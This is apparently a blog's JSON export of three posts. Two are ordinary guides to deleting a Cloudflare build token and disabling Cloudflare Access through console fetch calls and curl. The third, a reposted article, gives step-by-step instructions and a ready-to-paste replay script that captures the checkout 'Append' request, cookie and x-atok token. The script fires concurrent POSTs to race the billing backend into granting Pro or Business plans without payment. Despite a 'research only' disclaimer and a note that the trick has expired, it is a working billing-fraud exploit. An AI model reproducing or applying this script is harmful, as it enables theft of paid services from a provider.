[{"content":"Why Is a Build Token Needed? GitHub repositories are private by default (even for public repositories, external systems still require authorization to monitor changes). Cloudflare needs a valid authentication credential to access your repository contents.\nHow to Delete a Build Token? When using Cloudflare Workers to connect to a GitHub repository for project deployment, the system automatically generates a Build Token. Even after the project is deleted, these Build Tokens may still remain in Cloudflare.\nGitHub Side: Delete GitHub Deploy Key Go to your repository → Settings → Deploy keys and delete it.\nCloudflare Side: Delete Cloudflare Build Token Delete User API Token First, open this page, find the API Token ending with build token, and delete the token.\nDelete Build Token After logging in to the Cloudflare Dashboard, you will see a string of characters. This is your Account ID.\ndash.cloudflare.com/[Account ID] Method 1: Delete Build Token Through Browser Console This method uses the internal Dashboard API endpoint and relies on browser session cookie authentication. No API Token is required.\nOpen the Cloudflare Dashboard and keep this page open. On Windows, press F12 or Ctrl + Shift + J; on Mac, press Command + Option + J. You can also right-click anywhere blank on the webpage, select Inspect, and then switch to the Console tab.\nExecute the following code in the console to query the build token UUID. Make sure to replace YOUR_ACCOUNT_ID.\nThe first time you use the browser console, you need to confirm activation according to the prompt.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 const accountId = \u0026#39;YOUR_ACCOUNT_ID\u0026#39;; async function getBuildToken() { const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/builds/tokens`; try { const response = await fetch(url, { method: \u0026#39;GET\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39; }, credentials: \u0026#34;include\u0026#34; }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const data = await response.json(); console.log(\u0026#39;Request successful:\u0026#39;, data); return data; } catch (error) { console.error(\u0026#39;Request failed:\u0026#39;, error); } } getBuildToken(); After the console outputs a successful request, open the Network tab. Among the generated traffic, locate the GET request named tokens.\nSelect this request and find build_token_uuid in result under Preview or Response. This is the build token UUID that will be used later (note that it is build_token_uuid, not cloudflare_token_id).\nThen execute the following code in the console to delete the build token. Make sure to replace YOUR_ACCOUNT_ID and YOUR_BUILD_TOKEN_UUID.\nThe first time you use the browser console, you need to confirm activation according to the prompt.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 const accountId = \u0026#39;YOUR_ACCOUNT_ID\u0026#39;; const buildTokenUuid = \u0026#39;YOUR_BUILD_TOKEN_UUID\u0026#39;; async function deleteBuildToken() { const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/builds/tokens/${buildTokenUuid}`; try { const response = await fetch(url, { method: \u0026#39;DELETE\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39; }, credentials: \u0026#34;include\u0026#34; }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const data = await response.json(); console.log(\u0026#39;Deletion successful:\u0026#39;, data); return data; } catch (error) { console.error(\u0026#39;Request failed:\u0026#39;, error); } } deleteBuildToken(); If the console returns a Deletion successful message, the build token has been successfully deleted.\nMethod 2: Delete Build Token Using curl This method uses the official Cloudflare API endpoint and requires an API Token.\nReturn to this page and click Create Token.\nSelect the Edit Cloudflare Workers template.\nFor Account Resources, select your Cloudflare account. For Zone Resources, select All Zones, then click Continue to summary.\nClick Create Token.\nYou will receive a User API Token starting with cfut_. If your account used a User API Token before April 2026 and you have not replaced it, it may not have the cfut_ prefix. Keep this Token safe. It will only be displayed once.\nNext, use the curl command to send a GET request to query the build token UUID.\n1 curl -X GET \u0026#34;https://api.cloudflare.com/client/v4/accounts/[Account ID]/builds/tokens\u0026#34; -H \u0026#34;Authorization: Bearer [Your Token]\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; Make sure to replace [Account ID] and [Your Token].\nThe response will look like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { \u0026#34;result\u0026#34;: [ { \u0026#34;build_token_uuid\u0026#34;: \u0026#34;[build token uuid]\u0026#34;, \u0026#34;owner_type\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;build_token_name\u0026#34;: \u0026#34;REDACTED\u0026#34;, \u0026#34;cloudflare_token_id\u0026#34;: \u0026#34;REDACTED\u0026#34; } ], \u0026#34;success\u0026#34;: true, \u0026#34;errors\u0026#34;: [], \u0026#34;messages\u0026#34;: [], \u0026#34;result_info\u0026#34;: { \u0026#34;next_page\u0026#34;: false, \u0026#34;page\u0026#34;: 1, \u0026#34;per_page\u0026#34;: 50, \u0026#34;count\u0026#34;: 1, \u0026#34;total_count\u0026#34;: 1, \u0026#34;total_pages\u0026#34;: 1 } } The value of build_token_uuid is the build token UUID. Record this UUID, then use the following curl command to send a DELETE request to remove this build token.\n(Note: use build_token_uuid, not cloudflare_token_id.)\n1 curl -X DELETE \u0026#34;https://api.cloudflare.com/client/v4/accounts/[Account ID]/builds/tokens/[build token uuid]\u0026#34; -H \u0026#34;Authorization: Bearer [Your Token]\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; Make sure to replace [Account ID], [build token uuid], and [Your Token].\nIf the response is as follows, the build token has been successfully deleted.\n1 2 3 4 5 6 { \u0026#34;result\u0026#34;: \u0026#34;ok\u0026#34;, \u0026#34;success\u0026#34;: true, \u0026#34;errors\u0026#34;: [], \u0026#34;messages\u0026#34;: [] } Finally, delete the User API Token you just created to prevent accidental exposure.\n","date":"2026-07-11T08:00:00+08:00","permalink":"/en/p/delete-cloudflare-build-token/","title":"Delete Cloudflare Build Token"},{"content":"Get App UUID After logging in to the Cloudflare Dashboard, you will see a string of characters. This is your Account ID.\ndash.cloudflare.com/[Account ID] If you enabled Preview Access through Pages project, you can follow the steps below to obtain the app UUID:\nGo to Compute → Workers \u0026amp; Pages.\nFind the Pages project where Preview Access was accidentally enabled, then go to Settings → Preview Access → Manage.\nIf it shows Restrict Previews here, it means that this Pages project does not have Cloudflare Access enabled.\nAfter entering Manage, you will see two strings. As shown in the image, the first string is the Account ID, and the second string is the app UUID.\nIf you enabled an Access Policy through another method, you can query the app UUID using the following method.\nOpen the Cloudflare Dashboard and keep this page open. On Windows, press F12 or Ctrl + Shift + J; on Mac, press Command + Option + J. You can also right-click anywhere blank on the webpage, select Inspect, and then switch to the Console tab.\nExecute the following code in the console. Make sure to replace YOUR_ACCOUNT_ID.\nThe first time you use the browser console, you need to confirm activation according to the prompt.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 const accountId = \u0026#39;YOUR_ACCOUNT_ID\u0026#39;; async function getAccessApp() { const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/access/apps/`; try { const response = await fetch(url, { method: \u0026#39;GET\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39; }, credentials: \u0026#34;include\u0026#34; }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const data = await response.json(); console.log(\u0026#39;Request successful:\u0026#39;, data); return data; } catch (error) { console.error(\u0026#39;Request failed:\u0026#39;, error); } } getAccessApp(); After the console outputs a successful request, open the Network tab. Among the generated traffic, locate the GET request named apps/.\nSelect this request and find the corresponding Access Policy ID in Preview or Response under result. This ID is the app UUID used later.\nDisable Access Policy Method 1: Disable Access Policy Through Browser Console This method uses the internal Dashboard API endpoint and relies on browser session cookie authentication. No API Token is required.\nOpen the Cloudflare Dashboard and keep this page open. On Windows, press F12 or Ctrl + Shift + J; on Mac, press Command + Option + J. You can also right-click anywhere blank on the webpage, select Inspect, and then switch to the Console tab.\nExecute the following code in the console. Make sure to replace YOUR_ACCOUNT_ID and YOUR_APP_UUID.\nThe first time you use the browser console, you need to confirm activation according to the prompt.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 const accountId = \u0026#39;YOUR_ACCOUNT_ID\u0026#39;; const appUuid = \u0026#39;YOUR_APP_UUID\u0026#39;; async function deleteAccessApp() { const url = `https://dash.cloudflare.com/api/v4/accounts/${accountId}/access/apps/${appUuid}`; try { const response = await fetch(url, { method: \u0026#39;DELETE\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39; }, credentials: \u0026#34;include\u0026#34; }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const data = await response.json(); console.log(\u0026#39;Deletion successful:\u0026#39;, data); return data; } catch (error) { console.error(\u0026#39;Request failed:\u0026#39;, error); } } deleteAccessApp(); If the console returns a Deletion successful message, the Access Policy has been successfully disabled.\nMethod 2: Disable Access Policy Using curl This method uses the official Cloudflare API endpoint and requires a Global API Key.\nOpen this page, find Global API Key, then view or modify it and copy the key.\nThe Global API Key starts with cfk_. If your account used a Global API Key before April 2026 and you have not replaced it, it may not have the cfk_ prefix.\nNext, use the curl command to send a DELETE request to disable the specified Access Policy (make sure to modify the values).\nWindows:\n1 curl -X DELETE \u0026#34;https://api.cloudflare.com/client/v4/accounts/[Account ID]/access/apps/[app uuid]\u0026#34; -H \u0026#34;X-Auth-Email: [Account Email]\u0026#34; -H \u0026#34;X-Auth-Key: [Global API Key]\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; Linux:\n1 2 3 4 curl -X DELETE \u0026#34;https://api.cloudflare.com/client/v4/accounts/[Account ID]/access/apps/[app uuid]\u0026#34; \\ -H \u0026#34;X-Auth-Email: [Account Email]\u0026#34; \\ -H \u0026#34;X-Auth-Key: [Global API Key]\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; Make sure to replace [Account ID], [app uuid], [Account Email], and [Global API Key].\nIf the output is similar to the following, the Access Policy has been successfully disabled.\n1 2 3 4 5 6 7 8 { \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;[app uuid]\u0026#34; }, \u0026#34;success\u0026#34;: true, \u0026#34;errors\u0026#34;: [], \u0026#34;messages\u0026#34;: [] } ","date":"2026-07-10T08:00:00+08:00","permalink":"/en/p/disable-cloudflare-access-via-api/","title":"Disable Cloudflare Access via API"},{"content":" This article is reposted from https://blog.hyun.cc/post/yong-jiu-bai-piao-cloudfire-pro-huo-business/\nCloudflare Billing Logic Flaw: Bypassing Premium Subscriptions via Request Replay While reverse-engineering Cloudflare\u0026rsquo;s subscription system, I discovered an interesting \u0026ldquo;gap\u0026rdquo; between the frontend checkout logic and the backend state synchronization. By using a specific request replay technique, it is possible to trick the backend into activating the Pro or Business plan without the system generating an actual bill.\n01. Core Behavior: A \u0026ldquo;Quantum Superposition\u0026rdquo; of Identity and Permissions This bypass method places the account in a peculiar state of misalignment:\nPrivilege Escalation: The account effectively unlocks exclusive Pro/Business features (such as advanced WAF rules, image optimization, dedicated edge nodes, etc.). Logic Mismatch: The subscription management interface still displays the Free plan. Since the billing loop is never closed, the system generates no pending payment items or actual charges. Zero-Cost Operation: Exploiting the logic flaw in the checkout interface allows for \u0026ldquo;free access\u0026rdquo; to premium privileges. 02. Prerequisites Before reproducing this logic flaw, the following conditions must be met:\nDomain Onboarding: The domain has been successfully added to the Cloudflare account. Payment Environment: No valid credit card is linked to the account (or a card with a zero balance is linked to pass the initial check). Target Selection: On the Active Subscriptions page, click Change, select the Pro or Business plan you wish to activate, and proceed to the payment page. 03. Steps: Capture and Replay Using browser Developer Tools (DevTools), we can manually intervene in the checkout request.\nStep 1: Locate the Key Request Open the Network tab and click the payment button at the bottom of the page. Within the resulting traffic, locate the POST request named Append.\nStep 2: Extract Core Metadata Select the request and extract the following key parameters from the Headers and Payload sections:\nRequest URL: The full API endpoint address. Cookie: Authentication credentials for the current session. X-atok: A Cloudflare-specific CSRF/authentication token. Payload: Click View Source within the Request Payload section to retrieve the raw JSON structure. Step 3: Console Script Injection Switch to the Console tab and use the asynchronous script below to perform high-frequency replays.\n04. Automated Replay Script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 /** * Cloudflare Subscription Bypass Replay Script * For technical research purposes only; do not use for illegal activities. */ const url = \u0026#39;PASTE_YOUR_URL_HERE\u0026#39;; const headers = { \u0026#39;content-type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;accept\u0026#39;: \u0026#39;*/*\u0026#39;, \u0026#39;origin\u0026#39;: \u0026#39;https://dash.cloudflare.com\u0026#39;, \u0026#39;referer\u0026#39;: \u0026#39;https://dash.cloudflare.com/\u0026#39;, \u0026#39;x-atok\u0026#39;: \u0026#39;PASTE_YOUR_X_ATOK_HERE\u0026#39;, \u0026#39;x-cross-site-security\u0026#39;: \u0026#39;dash\u0026#39;, \u0026#39;cookie\u0026#39;: \u0026#39;PASTE_YOUR_COOKIE_HERE\u0026#39;, \u0026#39;user-agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\u0026#39; }; // Insert the payload data found in \u0026#34;View Source\u0026#34; const payload = { /* ... */ }; const delay = ms =\u0026gt; new Promise(res =\u0026gt; setTimeout(res, ms)); (async () =\u0026gt; { console.log(\u0026#34;%c Starting request replay...\u0026#34;, \u0026#34;color: #007aff; font-weight: bold;\u0026#34;); for (let i = 0; i \u0026lt; 10; i++) { fetch(url, { method: \u0026#39;POST\u0026#39;, headers: headers, body: JSON.stringify(payload) }) .then(res =\u0026gt; console.log(`[Batch ${i}] Status: ${res.status}`)) .catch(err =\u0026gt; console.error(`[Batch ${i}] Error:`, err)); await delay(100); // 100ms interval to simulate concurrent race conditions } console.log(\u0026#34;%c Script execution complete; please refresh the dashboard to verify permissions.\u0026#34;, \u0026#34;color: #34c759; font-weight: bold;\u0026#34;); })(); 05. Technical Postscript The root cause of this vulnerability likely stems from how Cloudflare handled the Append operation: the system executed the permission-granting logic first, while validating the payment result asynchronously. Under rapid, concurrent requests, the backend distributed database may have experienced a temporary state synchronization lag; consequently, permissions were written to the metadata, even though the billing transaction was subsequently rolled back due to a failed payment.\nThis \u0026ldquo;board first, pay later\u0026rdquo; approach is common among SaaS platforms striving for a seamless frontend experience, yet it also offers an excellent entry point for security research.\nSee also 永久白嫖Cloudfire Pro 或 Business\nCloudflare 计费逻辑缺陷：请求重放如何绕过订阅支付\n","date":"2026-01-06T08:00:00+08:00","permalink":"/en/p/get-cloudflare-pro-or-business-for-free/","title":"Get Cloudflare Pro or Business for Free (Expired on July 2026)"}]